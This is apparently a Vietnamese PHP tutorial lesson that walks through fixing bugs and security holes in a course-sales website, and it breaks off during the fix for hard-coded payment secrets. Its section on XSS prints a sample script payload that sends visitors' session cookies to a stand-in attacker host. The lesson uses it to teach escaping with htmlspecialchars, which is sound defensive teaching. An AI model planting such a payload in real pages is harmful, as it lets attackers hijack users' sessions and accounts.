0

EzCode # Bài 22 — Săn lỗi và vá bảo mật

Học xong bài này bạn sẽ:

  • Đọc và phân loại được mọi loại thông báo lỗi của PHP
  • Hiểu XSS là gì và vá được toàn bộ lỗ hổng đó trong project
  • Sửa xong 17 lỗi có thật trong chính project bạn vừa gõ ra

Cần học trước: Toàn bộ Bài 1 đến Bài 21


1. Vấn đề đặt ra

Bạn vừa gõ xong một website chạy được. Chúc mừng.

Nhưng chạy được không có nghĩa là đúng.

Trong 21 bài vừa qua, bạn đã gặp rất nhiều hộp ⚠️ Lưu ý với lời hẹn "Bài 22 sẽ sửa". Giờ là lúc trả lời tất cả.

Mười bảy lỗi dưới đây đều có thật trong project. Tôi không bịa ra bài tập — chúng là kết quả của việc đọc kỹ từng dòng code, và bạn đã tự tay gặp phần lớn trong số đó khi chạy thử.

Chúng chia làm ba nhóm:

Nhóm Số lỗi Đặc điểm
A — Chương trình chết hoặc chức năng không chạy 9 Người dùng thấy trang lỗi hoặc nút bấm không có tác dụng
B — Lỗ hổng bảo mật 4 Trang chạy bình thường, nhưng có thể bị lợi dụng
C — Vấn đề chất lượng code 4 Chạy đúng, nhưng khó bảo trì hoặc lãng phí tài nguyên

Nhóm B là nhóm nguy hiểm nhất, chính vì nó không hề có dấu hiệu gì.


2. Kiến thức mới

2.1. Phân loại thông báo lỗi PHP

Đọc đúng thông báo lỗi là kỹ năng quan trọng nhất khi gỡ lỗi. PHP có bốn mức:

Mức Nghĩa Chương trình có dừng Ví dụ
Parse error Sai cú pháp Dừng, chưa chạy dòng nào Thiếu dấu ; hoặc }
Fatal error Lỗi nghiêm trọng khi chạy Dừng tại chỗ đó Gọi hàm không tồn tại
Warning Cảnh báo Chạy tiếp Include file không có
Notice / Deprecated Nhắc nhở Chạy tiếp Dùng biến chưa khai báo

Cách đọc từng loại:

Parse error — lỗi thật thường ở dòng ngay trên dòng được báo. Đã giải thích ở Bài 1 mục 2.11.

Fatal error: Uncaught Error: Call to undefined method X::y() — bạn gọi một phương thức không tồn tại. Kiểm tra chính tả tên phương thức, hoặc phương thức đó chưa được viết.

Fatal error: Uncaught ArgumentCountError — gọi hàm thiếu tham số bắt buộc. Đây chính là lỗi số 1 dưới đây.

Warning: Undefined variable $x — dùng biến chưa được gán. Trang vẫn hiện nhưng chỗ đó trống.

Warning: Undefined array key "x" — mảng không có khóa đó. Thường do gõ sai tên cột.

Warning: Cannot modify header information - headers already sent — gọi header() sau khi đã in nội dung. Đã giải thích ở Bài 4 mục 2.9.

Ba nơi tìm lỗi:

  1. Trên trang — nếu display_errors đang bật (Bài 1 mục 2.10)
  2. File log của Apache — C:\xampp\apache\logs\error.log
  3. Tab Console và Network của trình duyệt — cho lỗi JavaScript và lỗi tải tài nguyên

2.2. XSS — Cross-Site Scripting

Đây là lỗ hổng phổ biến nhất của project, xuất hiện ở hàng chục chỗ.

Cách tấn công hoạt động:

  1. Kẻ tấn công đăng ký tài khoản giảng viên, hoặc lợi dụng bất kỳ ô nhập nào.

  2. Họ tạo một khóa học với tiêu đề:

    <script>document.location='http://trang-cua-toi.com/?c='+document.cookie</script>
    
  3. Website lưu chuỗi đó vào cột title — hoàn toàn bình thường, database không quan tâm nội dung.

  4. Mọi người vào trang chủ, Views/page_home.php in ra:

    <h3><?= $course['title']?></h3>
    
  5. Trình duyệt nhận được HTML có thẻ <script> thật và chạy nó.

  6. Cookie phiên của mọi người xem trang bị gửi tới máy chủ của kẻ tấn công.

  7. Kẻ tấn công dùng cookie đó để đăng nhập với danh nghĩa nạn nhân — kể cả tài khoản quản trị.

Điểm mấu chốt: trình duyệt không phân biệt được đâu là HTML do bạn viết, đâu là dữ liệu người dùng nhập vào. Cả hai đến cùng một luồng ký tự.

2.3. htmlspecialchars() — cách vá XSS

<?= htmlspecialchars($course['title']) ?>

Hàm này đổi năm ký tự có ý nghĩa cú pháp trong HTML:

Ký tự Thành
& &amp;
< &lt;
> &gt;
" &quot;
' &#039; (cần cờ ENT_QUOTES)

Sau khi đổi, chuỗi <script> thành &lt;script&gt;. Trình duyệt hiển thị đúng chữ <script> cho người xem, nhưng không coi nó là thẻ.

Dạng đầy đủ nên dùng:

htmlspecialchars($chuoi, ENT_QUOTES, 'UTF-8')
  • ENT_QUOTES đổi cả nháy đơn lẫn nháy kép. Cần thiết khi in vào thuộc tính HTML dùng nháy đơn.
  • 'UTF-8' bảo đảm tiếng Việt không bị hỏng.

Từ PHP 8.1, cả hai đều là mặc định. Nhưng viết rõ ra thì code chạy đúng trên mọi phiên bản.

2.4. Nguyên tắc: lọc khi in ra, không lọc khi lưu vào

Đây là điều nhiều người làm sai.

Cách sai: gọi htmlspecialchars() trước khi INSERT vào database.

Hậu quả: dữ liệu trong database bị biến dạng vĩnh viễn. Tên khóa học "Lập trình C++ & Java" biến thành Lập trình C++ &amp; Java. Rồi bạn xuất ra file Excel, gửi qua API, hay hiển thị trong ứng dụng di động — mọi nơi đều thấy &amp;.

Tệ hơn nữa: nếu ai đó vô tình lọc hai lần, &amp; thành &amp;amp;.

Cách đúng: lưu nguyên bản, lọc lúc hiển thị.

Lý do sâu xa: cách lọc phụ thuộc vào nơi dữ liệu đi tới.

Đích đến Cách lọc đúng
HTML htmlspecialchars()
Câu SQL Prepared statement với ?
JavaScript json_encode()
URL urlencode()
File CSV Bọc dấu nháy và nhân đôi nháy trong nội dung

Lưu vào database thì bạn chưa biết dữ liệu sẽ đi đâu. Lọc lúc đó là đoán mò.

2.5. Kiểm tra quyền phải ở máy chủ

Ẩn nút trên giao diện không phải là bảo mật. Người dùng gõ thẳng địa chỉ được, và mọi tham số trên URL đều sửa được.

Ba tầng kiểm tra mà một hệ thống cần:

  1. Đã đăng nhập chưa? — isset($_SESSION['user_id'])
  2. Có đúng vai trò không? — $_SESSION['user_role'] === 'teacher'
  3. Dữ liệu này có phải của họ không? — $course['teacher_id'] == $_SESSION['user_id']

Tầng 3 hay bị quên nhất. EzCode làm tốt ở khu vực giảng viên nhưng quên hoàn toàn ở trang học — đó là lỗi số 11.

2.6. Không để khóa bí mật trong mã nguồn

Bốn lý do:

  1. Git lưu vĩnh viễn. Xóa khóa khỏi code không xóa khỏi lịch sử. Ai clone repo cũng xem lại được.
  2. Mỗi môi trường một khóa khác. Máy của bạn, máy thử nghiệm, máy chạy thật đều cần giá trị riêng.
  3. Đổi khóa phải sửa code. Đúng ra chỉ cần sửa file cấu hình rồi khởi động lại.
  4. Không phân quyền được. Mọi lập trình viên đọc được code là đọc được khóa sản xuất.

Bài 21 bài tập 2 đã dựng giải pháp: tách ra config.php và thêm vào .gitignore.

2.7. Mẫu Singleton

Bài 6 đã cảnh báo: mỗi Model tự tạo new Database() riêng, nên một trang dùng ba Model là mở ba kết nối MySQL.

Singleton là mẫu thiết kế bảo đảm một class chỉ có đúng một object trong suốt chương trình.

Ba thành phần:

  1. Một thuộc tính tĩnh giữ object duy nhất
  2. Một phương thức tĩnh getInstance() để lấy nó
  3. Constructor để private để không ai new được từ bên ngoài

Từ khóa static nghĩa là thuộc tính hay phương thức đó thuộc về class, không thuộc về từng object. Truy cập bằng self:: bên trong class hoặc TenClass:: bên ngoài.


3. Áp dụng vào EzCode

Mười bảy lỗi, mỗi lỗi bốn phần: Triệu chứng → File và vị trí → Nguyên nhân → Code sửa.


Nhóm A — Lỗi làm chương trình chết hoặc chức năng không chạy

Lỗi 1 — Router chỉ truyền được tham số tên id

Triệu chứng. Bấm nút "+ Thêm bài học mới" ở trang quản lý bài học, trang chết hẳn với:

Fatal error: Uncaught ArgumentCountError: Too few arguments to function
TeacherController::createLesson(), 0 passed in ...\index.php on line 24 and exactly 1 expected

Tạo bài học thành công cũng nhận lỗi này, dù bài học đã được lưu.

File và vị trí. index.php, dòng 19 đến 22.

Nguyên nhân. Router chỉ nạp đúng một tham số vào mảng đối số:

$args = [];
if (isset($_GET['id'])) {
    $args[] = $_GET['id'];
}

Nhưng Views/teacher_lessons.php sinh liên kết ?act=createLesson&course_id=20, và TeacherController::createLesson($course_id) cần một tham số bắt buộc. Vì course_id không phải id, mảng $args rỗng và lời gọi thành createLesson() không đối số.

Ba chỗ bị ảnh hưởng: hai liên kết trong teacher_lessons.php và dòng chuyển hướng cuối createLesson().

Code sửa. Gom mọi tham số GET không phải ctrl và act vào $args, giữ nguyên thứ tự chúng xuất hiện trên URL.

📁 index.php — code sửa lỗi (không so khớp repo)

    // Truyền mọi tham số GET khác ctrl và act vào phương thức
    $args = [];
    foreach ($_GET as $khoa => $giaTri) {
        if ($khoa !== 'ctrl' && $khoa !== 'act') {
            $args[] = $giaTri;
        }
    }
    
    $ctrl->$act(...$args);

Sau bản vá này, cả ?act=createLesson&id=20 lẫn ?act=createLesson&course_id=20 đều hoạt động.

Một lưu ý khi áp dụng: bản vá này truyền tham số theo thứ tự xuất hiện trên URL. Nếu một URL có nhiều tham số, thứ tự phải khớp thứ tự tham số của phương thức. Với EzCode thì mọi phương thức chỉ nhận tối đa một tham số nên không có vấn đề.

Cách chắc chắn hơn cho project lớn là truyền cả mảng $_GET và để phương thức tự lấy khóa nó cần:

$ctrl->$act($_GET);

Nhưng cách đó đòi sửa cả 10 phương thức có tham số, nên với project này bản vá trên là hợp lý.


Lỗi 2 — Thiếu TeacherController::editLesson()

Triệu chứng. Bấm nút "Sửa" ở bảng bài học:

Fatal error: Uncaught Error: Call to undefined method TeacherController::editLesson()

File và vị trí. Views/teacher_lessons.php dòng 57 có liên kết ?ctrl=teacher&act=editLesson&id=..., nhưng Controllers/TeacherController.php không có phương thức đó.

Nguyên nhân. Chức năng chưa được viết. Models/Lession.php đã có sẵn getById() và update() — tác giả chuẩn bị Model nhưng chưa làm Controller và View.

Code sửa. Đây chính là đáp án bài tập 1 của Bài 19.

📁 Controllers/TeacherController.php — code sửa lỗi (không so khớp repo)

    public function editLesson($id)
    {
        include_once "./Models/Lession.php";
        $lessionModel = new Lession();
        $lesson = $lessionModel->getById($id);

        if (!$lesson) {
            $_SESSION['error'] = "Bài học không tồn tại!";
            header("Location: ?ctrl=teacher&act=courses");
            exit();
        }

        // Kiểm tra quyền sở hữu qua khóa học chứa bài này
        include_once "./Models/Courses.php";
        $coursesModel = new Courses();
        $course = $coursesModel->getByIdForTeacher($lesson['course_id']);

        if (!$course || $course['teacher_id'] != $_SESSION['user_id']) {
            header("Location: ?ctrl=teacher&act=courses");
            exit();
        }

        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $title      = $_POST['title'] ?? '';
            $video      = $_POST['video'] ?? '';
            $content    = $_POST['content'] ?? '';
            $sort_order = $_POST['sort_order'] ?? 999;

            $errors = [];
            if (empty($title))   $errors[] = "Tên bài học không được để trống";
            if (empty($content)) $errors[] = "Nội dung bài học không được để trống";

            if (empty($errors)) {
                if ($lessionModel->update($id, $title, $video, $content, $sort_order)) {
                    $_SESSION['success'] = "Cập nhật bài học thành công!";
                    header("Location: ?ctrl=teacher&act=manageLessons&id=" . $lesson['course_id']);
                    exit();
                }
                $_SESSION['error'] = "Có lỗi xảy ra khi cập nhật bài học";
            } else {
                $_SESSION['error'] = implode(", ", $errors);
            }
        }

        include_once "./Views/teacher_lesson_edit.php";
    }

Kèm theo là View Views/teacher_lesson_edit.php — nội dung đầy đủ có ở Bài 19 mục 6, đáp án bài tập 1.

Điểm quan trọng: kiểm tra quyền sở hữu phải đi qua hai bước, vì bảng lessions không có cột teacher_id. Bỏ bước này thì giảng viên A sửa được bài học của giảng viên B.


Lỗi 3 — Thiếu TeacherController::deleteLesson()

Triệu chứng. Bấm nút "Xóa" ở bảng bài học và xác nhận:

Fatal error: Uncaught Error: Call to undefined method TeacherController::deleteLesson()

File và vị trí. Views/teacher_lessons.php dòng 71 có hàm JavaScript trỏ tới ?ctrl=teacher&act=deleteLesson&id=....

Nguyên nhân. Cùng lý do lỗi 2 — Lession::delete() đã có, Controller thì chưa.

Code sửa. Đáp án bài tập 2 của Bài 19.

📁 Controllers/TeacherController.php — code sửa lỗi (không so khớp repo)

    public function deleteLesson($id)
    {
        include_once "./Models/Lession.php";
        $lessionModel = new Lession();
        $lesson = $lessionModel->getById($id);

        if (!$lesson) {
            header("Location: ?ctrl=teacher&act=courses");
            exit();
        }

        // Kiểm tra quyền sở hữu qua khóa học chứa bài này
        include_once "./Models/Courses.php";
        $coursesModel = new Courses();
        $course = $coursesModel->getByIdForTeacher($lesson['course_id']);

        if (!$course || $course['teacher_id'] != $_SESSION['user_id']) {
            header("Location: ?ctrl=teacher&act=courses");
            exit();
        }

        if ($lessionModel->delete($id)) {
            $_SESSION['success'] = "Xóa bài học thành công!";
        } else {
            $_SESSION['error'] = "Có lỗi xảy ra khi xóa bài học";
        }

        header("Location: ?ctrl=teacher&act=manageLessons&id=" . $lesson['course_id']);
        exit();
    }

Điểm quan trọng: phải lấy $lesson trước khi xóa, vì sau đó không còn dòng nào để đọc course_id mà chuyển hướng về.


Lỗi 4 — Liên kết trỏ tới act=password không tồn tại

Triệu chứng. Bấm "Đổi mật khẩu" ở sidebar trang lịch sử thanh toán:

Fatal error: Uncaught Error: Call to undefined method UserController::password()

File và vị trí. Hai chỗ:

  • Views/payment_history.php dòng 7
  • Views/layout_user_sidebar.php dòng 9

Cả hai trỏ tới ?ctrl=user&act=password, nhưng UserController chỉ có changePassword().

Nguyên nhân. Tác giả đặt tên phương thức là changePassword nhưng viết liên kết là password. Ba View khác — user_profile.php, user_password.php, user_course.php — thì viết đúng.

Code sửa. Có hai hướng: thêm phương thức password() gọi lại changePassword(), hoặc sửa hai View trỏ đúng.

Chọn cách sửa View, vì nó không thêm code thừa và giữ được đúng một tên gọi cho một chức năng.

📁 Views/payment_history.php — code sửa lỗi (không so khớp repo)

            <li><a href="?ctrl=user&act=changePassword">Đổi mật khẩu</a></li>

📁 Views/layout_user_sidebar.php — code sửa lỗi (không so khớp repo)

            <li class="<?= ($_GET['act'] ?? '') == 'changePassword' ? 'active' : '' ?>">
                <a href="?ctrl=user&act=changePassword">Đổi mật khẩu</a>
            </li>

Bản vá cho layout_user_sidebar.php giải quyết luôn lỗi 9 ở dưới — thêm dấu nháy còn thiếu — và thêm ?? '' phòng khi $_GET['act'] chưa tồn tại.


Lỗi 5 — Biến $course chưa được gán

Triệu chứng. Mở ?ctrl=teacher&act=students, đầu trang có cảnh báo:

Warning: Undefined variable $course in ...\Views\teacher_students.php on line 30

Bảng vẫn hiện đúng, nhưng cảnh báo rất xấu.

File và vị trí. Controllers/TeacherController.php, phương thức students($course_id = null), nhánh else.

Nguyên nhân. Nhánh if gán $course từ truy vấn, nhưng nhánh else thì không. Trong khi Views/teacher_students.php dùng if (!$course) ở hai chỗ để quyết định hiển thị cột nào.

Trớ trêu là nhánh if có dòng $course = null; — nhưng nó bị đặt sai chỗ, ngay trước dòng gán lại nên hoàn toàn vô nghĩa.

Code sửa. Chuyển dòng đó lên đầu phương thức.

📁 Controllers/TeacherController.php — code sửa lỗi (không so khớp repo)

    public function students($course_id = null)
    {
        $course = null;                  // SỬA: khai báo ngay đầu phương thức

        include_once "./Models/User.php";
        $userModel = new User();
        
        if ($course_id) {
            // Xem học viên của một khóa học cụ thể
            $students = $userModel->getStudentsByCourse($course_id);
            
            include_once "./Models/Courses.php";
            $coursesModel = new Courses();
            $course = $coursesModel->getByIdForTeacher($course_id);
            
            // Kiểm tra quyền sở hữu
            if (!$course || $course['teacher_id'] != $_SESSION['user_id']) {
                header("Location: ?ctrl=teacher&act=students");
                exit();
            }
        } else {
            // Xem tất cả học viên của teacher
            $students = $userModel->getAllStudentsByTeacher($_SESSION['user_id']);
        }
        
        include_once "./Views/teacher_students.php";
    }

Bản vá cũng đổi getById() thành getByIdForTeacher() — vá luôn lỗi 8 cho phương thức này.

Bài học: đây là ví dụ hay về việc đặt code đúng chỗ quan trọng hơn viết đúng code. Dòng $course = null; vốn đã tồn tại; chỉ cần di chuyển nó là hết lỗi.


Lỗi 6 — View tự nạp lại header và footer

Triệu chứng. Với include_once như hiện tại thì không thấy gì bất thường. Nhưng nếu ai đó đổi thành include, trang lịch sử thanh toán sẽ có hai header và hai footer chồng lên nhau.

File và vị trí. Views/payment_history.php, dòng đầu tiên và dòng cuối cùng.

Nguyên nhân. File này tự include_once "./Views/layout_header.php"; và include_once "./Views/layout_footer.php";, trong khi index.php đã nạp cả hai rồi.

Đây là View duy nhất trong 22 View mắc lỗi này. Có lẽ nó được viết vào lúc khác, khi tác giả chưa quen với kiến trúc layout.

Code sửa. Xóa hai dòng đó đi.

📁 Views/payment_history.php — code sửa lỗi (không so khớp repo)

<main class="user-page">
    <div class="user-sidebar">

Nghĩa là file bắt đầu thẳng bằng thẻ <main> — giống mọi View khác — và kết thúc bằng </main>.

Vì sao nên sửa dù hiện tại không gây lỗi? Vì code phụ thuộc vào một chi tiết mong manh: cụ thể là include_once chứ không phải include. Bất kỳ ai sửa nhầm một chữ là giao diện vỡ, và họ sẽ mất rất lâu để hiểu vì sao.


Lỗi 7 — Video luôn là bài học cuối cùng

Triệu chứng. Mở trang Vào học, video hiện ra không phải của bài học đang xem mà là của bài cuối cùng trong danh sách. Bấm sang bài khác, tiêu đề và nội dung đổi nhưng video không đổi.

File và vị trí. Views/learn_detail.php — hai lỗi riêng biệt trong cùng file.

Nguyên nhân thứ nhất. Thẻ <iframe> dùng $lesson['video']:

src="https://www.youtube.com/embed/<?= str_replace('...', '', $lesson['video']) ?>"

Nhưng $lesson là biến tạm của vòng foreach ở phần sidebar phía trên. Trong PHP, biến tạm này vẫn tồn tại sau khi vòng lặp kết thúc và giữ giá trị của phần tử cuối cùng.

Trong khi tiêu đề và nội dung thì dùng đúng $lessionsList[0].

Nguyên nhân thứ hai. Hàm JavaScript showLesson() kiểm tra lessons[index].video_url, nhưng cột thật trong bảng lessions tên là video. Điều kiện đó luôn sai nên video không bao giờ được cập nhật.

Code sửa.

📁 Views/learn_detail.php — code sửa lỗi (không so khớp repo)

            <h2><?= htmlspecialchars($lessionsList[0]['title']) ?></h2>
            <div class="video-wrapper">
                <iframe
                    src="https://www.youtube.com/embed/<?= str_replace('https://www.youtube.com/watch?v=', '', $lessionsList[0]['video']) ?>"
                    frameborder="0"
                    allowfullscreen>
                </iframe>
            </div>

Và sửa JavaScript:

📁 Views/learn_detail.php — code sửa lỗi (không so khớp repo)

            if (lessons[index].video) {
                const maVideo = lessons[index].video.replace('https://www.youtube.com/watch?v=', '');
                document.querySelector('.lesson-content .video-wrapper iframe').src =
                    'https://www.youtube.com/embed/' + maVideo;
                document.querySelector('.lesson-content .video-wrapper').style.display = 'block';
            }

Bài học về biến rò rỉ: biến tạm của foreach tồn tại sau vòng lặp là hành vi có thật của PHP, không phải lỗi ngôn ngữ. Nhưng dựa vào nó là rất nguy hiểm — code trông như đang dùng một biến cục bộ mà thực ra đang dùng tàn dư của vòng lặp khác.

Thói quen tốt: gọi unset($lesson); ngay sau foreach để biến biến mất hẳn.


Lỗi 8 — Không thao tác được với khóa học đang ẩn

Triệu chứng. Giảng viên ẩn một khóa học, sau đó:

  • Bấm "Xóa" — trang tải lại, khóa học vẫn còn, không có thông báo nào
  • Bấm "Bài học" — bị đá về danh sách khóa học
  • Không thêm được bài học mới cho khóa đó

File và vị trí. Ba phương thức trong Controllers/TeacherController.php:

  • deleteCourse($id) — gọi getById($id)
  • manageLessons($course_id) — gọi getById($course_id)
  • createLesson($course_id) — gọi getById($course_id)

Nguyên nhân. Courses::getById() có điều kiện AND c.status = 1, nên khóa học ẩn trả về false. Điều kiện if (!$course) đúng và người dùng bị đá ra.

Trong khi editCourse() thì dùng đúng getByIdForTeacher() — bản không lọc trạng thái.

Code sửa. Đổi ba lời gọi.

📁 Controllers/TeacherController.php — code sửa lỗi (không so khớp repo)

        // Trong cả deleteCourse(), manageLessons() và createLesson():
        $course = $coursesModel->getByIdForTeacher($id);

Cách vá gốc rễ hơn. Vấn đề thật nằm ở việc có hai phương thức gần giống nhau — đó là một cái bẫy chờ người bảo trì sập vào.

Gộp chúng thành một với tham số rõ nghĩa:

📁 Models/Courses.php — code sửa lỗi (không so khớp repo)

  function getById($id, $chiLayDangHien = true)
  {
    $sql = "SELECT c.* , u.name AS teacher_name FROM courses c 
            INNER JOIN users u ON c.teacher_id = u.id 
            WHERE c.id=?";
    if ($chiLayDangHien) {
        $sql .= " AND c.status = 1";
    }
    return $this->db->queryOne($sql, $id);
  }

Khi đó lời gọi tự nói lên ý định: getById($id, false) rõ ràng là "lấy cả khóa đang ẩn". Và bạn xóa được getByIdForTeacher().

Nhược điểm: phải sửa mọi nơi đang gọi getByIdForTeacher(). Với project này là 2 chỗ, chấp nhận được.


Lỗi 9 — Thiếu dấu nháy kép đóng thuộc tính

Triệu chứng. Nếu file này được dùng, mục "Đổi mật khẩu" biến mất khỏi sidebar hoặc hiển thị sai hoàn toàn.

File và vị trí. Views/layout_user_sidebar.php, dòng 9:

<li class="<?= $_GET['act'] == 'password' ? 'active' : '' ?>><a href="?ctrl=user&act=password">Đổi mật khẩu</a></li>

Sau ?> là dấu > chứ không phải ">.

Nguyên nhân. Lỗi gõ. Trình duyệt đọc thành class=">​<a href=..." và nuốt phần còn lại vào trong giá trị thuộc tính.

Lỗi này hiện chưa gây hậu quả vì file không được View nào include — nó là code chết, cùng loại với lỗi 14.

Code sửa. Đã gộp vào bản vá của lỗi 4 ở trên.

Vì sao lỗi này khó phát hiện? Vì PHP không kiểm tra HTML — với PHP, dòng đó hoàn toàn hợp lệ. Trình duyệt thì cố hết sức hiển thị được gì hay nấy, không báo lỗi.

Cách phòng: dùng trình soạn thảo có tô màu cú pháp. VS Code sẽ tô màu chuỗi khác đi khi dấu nháy chưa đóng.


Nhóm B — Lỗ hổng bảo mật

Lỗi 10 — XSS ở hàng chục vị trí

Triệu chứng. Không có triệu chứng gì cả. Trang chạy hoàn toàn bình thường.

Nhưng hãy thử: đăng nhập giảng viên, tạo một khóa học có tiêu đề <b>TEST</b>, rồi mở trang chủ. Bạn thấy chữ TEST in đậm thay vì đúng chuỗi bạn gõ.

Nếu thẻ <b> chạy được, thẻ <script> cũng vậy.

File và vị trí. Rất nhiều. Đây là bảng những chỗ nghiêm trọng nhất:

File Đoạn code Mức nguy hiểm
Views/page_home.php <?= $course['title']?> Cao — hiện với mọi khách
Views/course_list.php <?= $course['title'] ?>, <?= $teacher['name'] ?>, <?= $categories['name'] ?> Cao
Views/course_detail.php <?= $courseDetail['description'] ?> Rất cao — ô nhập tự do dài
Views/teacher_lessons.php <?= $lesson['content'] ?> Cao
Mọi View <?= $_SESSION['error'] ?>, <?= $_SESSION['success'] ?> Trung bình
Views/user_course.php <?= $course['title'] ?> Cao

Nguyên nhân. Thiếu htmlspecialchars(). Và điều đáng nói là project có dùng hàm này ở một số chỗ — layout_header.php, các ô value= trong form, teacher_students.php. Nên đây không phải là không biết, mà là không nhất quán.

Code sửa — bước 1: tạo hàm rút gọn.

📁 helpers.php — code sửa lỗi (không so khớp repo)

<?php
/**
 * Lọc chuỗi trước khi in ra HTML, chống XSS.
 * Tên ngắn để dùng được ở mọi nơi mà không làm code rối.
 */
function e($chuoi)
{
    return htmlspecialchars($chuoi ?? '', ENT_QUOTES, 'UTF-8');
}

📁 index.php — code sửa lỗi (không so khớp repo)

session_start();
include_once "./helpers.php";
include_once "./Views/layout_header.php";

Code sửa — bước 2: áp dụng vào các View.

📁 Views/page_home.php — code sửa lỗi (không so khớp repo)

    <?php foreach ($coursesList as $course) : ?>
      <div class="course">
        <img src="public/img/courses/<?= e($course['image']) ?>" alt="<?= e($course['title']) ?>" />
        <h3><?= e($course['title']) ?></h3>
        <p>Giá: <?= number_format($course['price']) ?></p>
        <a href="?ctrl=course&act=detail&id=<?= (int)$course['id'] ?>" class="btn">Đăng ký</a>
      </div>
    <?php endforeach; ?>

📁 Views/course_detail.php — code sửa lỗi (không so khớp repo)

            <h2><?= e($courseDetail['title']) ?></h2>
            <p class="price">Giá: <?= number_format($courseDetail['price']) ?></p>
            <p class="teacher">Giảng viên: <?= e($courseDetail['teacher_name']) ?></p>
            <p class="description">
                <?= nl2br(e($courseDetail['description'])) ?>
            </p>

Ba kỹ thuật đáng chú ý trong bản vá:

e() cho mọi chuỗi. Ngắn gọn nên không ngại gõ, và dễ tìm kiếm để kiểm tra đã phủ hết chưa.

(int) cho số. Ép kiểu số nguyên là cách lọc mạnh nhất cho dữ liệu số — kết quả chắc chắn là một con số, không thể chứa ký tự HTML nào.

nl2br() cho nội dung dài. Hàm này đổi ký tự xuống dòng thành thẻ <br>. Phải gọi sau e(), vì nếu gọi trước thì e() sẽ biến <br> thành chữ.

Thứ tự đúng: nl2br(e($chuoi)). Sai: e(nl2br($chuoi)).

Chỗ cần cẩn thận nhất — khối flash message. Nó lặp lại ở 15 file. Cách tốt nhất là gom vào một file dùng chung:

📁 Views/layout_flash.php — code sửa lỗi (không so khớp repo)

<?php if (isset($_SESSION['success'])): ?>
    <div style="background-color: #d4edda; color: #155724; padding: 10px; border-radius: 5px; margin-bottom: 15px;">
        <?= e($_SESSION['success']) ?>
    </div>
    <?php unset($_SESSION['success']); ?>
<?php endif; ?>

<?php if (isset($_SESSION['error'])): ?>
    <div style="background-color: #f8d7da; color: #721c24; padding: 10px; border-radius: 5px; margin-bottom: 15px;">
        <?= e($_SESSION['error']) ?>
    </div>
    <?php unset($_SESSION['error']); ?>
<?php endif; ?>

Rồi trong mọi View, thay 14 dòng bằng một dòng:

<?php include "./Views/layout_flash.php"; ?>

Đặt nó vào layout_header.php là mọi trang đều có — và giải quyết luôn vấn đề mà Bài 13 bài tập 3 phát hiện: trang danh sách khóa học không hiển thị được thông báo lỗi.


Lỗi 11 — Ai đăng nhập cũng học được mọi khóa

Triệu chứng. Đăng ký một tài khoản mới, không mua gì cả, rồi gõ:

?ctrl=learn&act=detail&id=1

Bạn học được toàn bộ khóa học 300.000 đồng miễn phí.

File và vị trí. Controllers/LearnController.php, phương thức detail($id).

Nguyên nhân. Phương thức chỉ kiểm tra đã đăng nhập, không kiểm tra đã mua:

if (!isset($_SESSION['user_id'])) {
    header("Location: ?ctrl=user&act=login");
    exit();
}

Đây là tầng kiểm tra thứ 3 ở mục 2.5 bị bỏ quên hoàn toàn.

Đây là lỗ hổng nghiêm trọng nhất của cả project. Nó phá vỡ mô hình kinh doanh: toàn bộ chức năng thanh toán ở Bài 21 trở thành trang trí.

Nút "Vào học" còn hiện sẵn trên trang chi tiết khóa học cho mọi người — kể cả người chưa mua — nên không cần biết gì về URL cũng khai thác được.

Code sửa.

📁 Controllers/LearnController.php — code sửa lỗi (không so khớp repo)

<?php

class LearnController
{
    public function detail($id)
    {
        // Tầng 1: đã đăng nhập chưa
        if (!isset($_SESSION['user_id'])) {
            $_SESSION['error'] = "Vui lòng đăng nhập để vào học!";
            header("Location: ?ctrl=user&act=login");
            exit();
        }
        
        // Tầng 2: khóa học có tồn tại không
        include_once "./Models/Courses.php";
        $coursesModel = new Courses();
        $courseDetail = $coursesModel->getById($id);
        
        if (!$courseDetail) {
            $_SESSION['error'] = "Khóa học không tồn tại!";
            header("Location: ?ctrl=course&act=list");
            exit();
        }

        // Tầng 3: đã mua khóa học này chưa
        include_once "./Models/User.php";
        $userModel = new User();
        $laChuKhoaHoc = ($courseDetail['teacher_id'] == $_SESSION['user_id']);

        if (!$laChuKhoaHoc && !$userModel->checkEnrollment($_SESSION['user_id'], $id)) {
            $_SESSION['error'] = "Bạn chưa đăng ký khóa học này!";
            header("Location: ?ctrl=course&act=detail&id=" . (int)$id);
            exit();
        }
        
        include_once "./Models/Lession.php";
        $lessionModel = new Lession();
        $lessionsList = $lessionModel->getAllByCourse($id);
        
        include_once "./Views/learn_detail.php";
    }
}

Kèm theo phải sửa View để nút "Vào học" chỉ hiện với người đã mua:

📁 Views/course_detail.php — code sửa lỗi (không so khớp repo)

            <?php if (!empty($daMua)): ?>
                <a href="?ctrl=learn&act=detail&id=<?= (int)$courseDetail['id'] ?>" class="btn">Vào học</a>
            <?php else: ?>
                <a href="?ctrl=course&act=register&id=<?= (int)$courseDetail['id'] ?>" class="btn">Đăng ký ngay</a>
            <?php endif; ?>

Và CourseController::detail() phải tính biến $daMua truyền sang:

        $daMua = false;
        if (isset($_SESSION['user_id'])) {
            include_once "./Models/User.php";
            $userModel = new User();
            $daMua = $userModel->checkEnrollment($_SESSION['user_id'], $id);
        }

Đây chính là ý định của tác giả — ghi chú <!-- Hiện 1 trong 2 nút sau --> vẫn còn trong file gốc.

Điểm đáng chú ý trong bản vá: biến $laChuKhoaHoc cho phép giảng viên xem khóa học của chính mình mà không cần mua. Đây là câu hỏi mà Bài 16 đáp án 3 đã đặt ra cho bạn tự trả lời.


Lỗi 12 — Khóa bí mật và đường dẫn viết cứng trong mã nguồn

Triệu chứng. Thanh toán sandbox luôn báo sai chữ ký. Và đổi tên thư mục project là VNPay gọi lại sai địa chỉ, giao dịch treo vĩnh viễn ở pending.

File và vị trí. Ba chỗ:

  • Models/VNPay.php dòng 13 và 14 — $vnp_TmnCode và $vnp_HashSecret
  • Models/VNPay.php dòng 71 — chuỗi bí mật lặp lại lần hai
  • Controllers/PaymentController.php dòng 42 — $returnUrl chứa /EZCode_khoahoc/

Nguyên nhân. Không tách cấu hình ra khỏi mã nguồn, vì bốn lý do đã nêu ở mục 2.6.

Code sửa. Đây là đáp án bài tập 1 và 2 của Bài 21, gộp lại.

📁 config.php — code sửa lỗi (không so khớp repo)

<?php
// File này chứa thông tin nhạy cảm - KHÔNG đưa lên git
return [
    'vnp_TmnCode'    => 'MA_CUA_BAN',
    'vnp_HashSecret' => 'CHUOI_BI_MAT_CUA_BAN',
    'vnp_Url'        => 'https://sandbox.vnpayment.vn/paymentv2/vpcpay.html',
];

